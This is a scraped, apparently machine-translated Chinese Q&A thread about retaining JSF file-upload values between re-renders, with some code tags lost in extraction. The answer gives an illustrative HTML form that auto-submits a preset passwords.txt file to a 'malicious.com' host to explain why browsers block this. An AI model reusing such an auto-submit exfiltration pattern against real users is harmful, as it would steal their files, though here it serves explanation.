Jsf UIComponent的访问值绑定

Jsf UIComponent的访问值绑定,jsf,file-upload,binding,jsf-2,uicomponents,Jsf,File Upload,Binding,Jsf 2,Uicomponents,我使用在应用程序中上载文件。所选文件(表示为UploadedFile对象)仅在表单提交时保存到其绑定(支持bean中的成员)。当我在UI中使用动态元素时,表单将在不提交的情况下重新呈现。在这种情况下,值绑定无效,用户必须使用重新选择文件 当然,这不是很方便用户。即使没有提交,也会抛出一个ValueChangedEvent,我想注册一个事件处理程序,将新值(即上传的文件)复制到值绑定(即支持bean的成员)中。由于我想允许上传多个文件,我有一个UploadedFile对象数组作为值绑定,在JSF中

我使用
在应用程序中上载文件。所选文件(表示为
UploadedFile
对象)仅在表单提交时保存到其绑定(支持bean中的成员)。当我在UI中使用动态元素时,表单将在不提交的情况下重新呈现。在这种情况下,值绑定无效,用户必须使用
重新选择文件

当然,这不是很方便用户。即使没有提交,
也会抛出一个
ValueChangedEvent
,我想注册一个事件处理程序,将新值(即上传的文件)复制到值绑定(即支持bean的成员)中。由于我想允许上传多个文件,我有一个
UploadedFile
对象数组作为值绑定,在JSF中引用如下:

<ui:repeat value="#{bean.myFiles}" var="file">
  <t:inputFileUpload
    value   = "#{file}"
    storage = "file" />
</ui:repeat>
UploadedFile[] myFiles;

public void valueChangedHandler(ValueChangedEvent ev) {
  UploadedFile file = (UploadedFile)ev.getNewValue();
  UIComponent comp = ev.getComponent();
  // This line is pseudocode - getValueBinding() is not available
  UploadedFile bindingFile = (UploadedFile)comp.getValueBinding();
  // Assigning the new value to the binding
  bindingFile = file;
}
可能是这样吗?我还不知道如何调用
ValueBinding getValueBinding(String)
来实现我想要的

用户必须使用
重新选择文件

这不是JSF的限制。这是一个HTML限制。
组件呈现一个HTML
字段。能够预先填充/保留这样的字段是一个巨大的安全漏洞,在HTML中是不允许的

为了更好地理解安全漏洞,请查看以下纯HTML示例:

<form id="upload" action="http://malicious.com/upload" method="post" enctype="multipart/form-data">
    <input type="file" name="file" value="c:/I/guess/this/is/path/to/your/passwords.txt" />
</form>
<script>document.getElementById("upload").submit();</script>

document.getElementById(“上载”).submit();
如果它得到支持,并且使用上述表单打开网页,则
passwords.txt
将被发送到服务器,而无需任何用户干预


如果某些东西在HTML中是不可能的,那么JSF已经不能为您做很多事情了(因为它所做的基本上就是生成一些HTML)。

鉴于这是不可能的,有没有办法在不提交的情况下保留
组件的内容?动态重新呈现会影响上载组件周围的
组件。再次阅读后,我终于明白了为什么连保存都不可能(因为它本质上是在用户不提交表单的情况下预先填充文件输入组件)。谢谢你的回答。这是好的,不仅知道它不工作,而且知道为什么。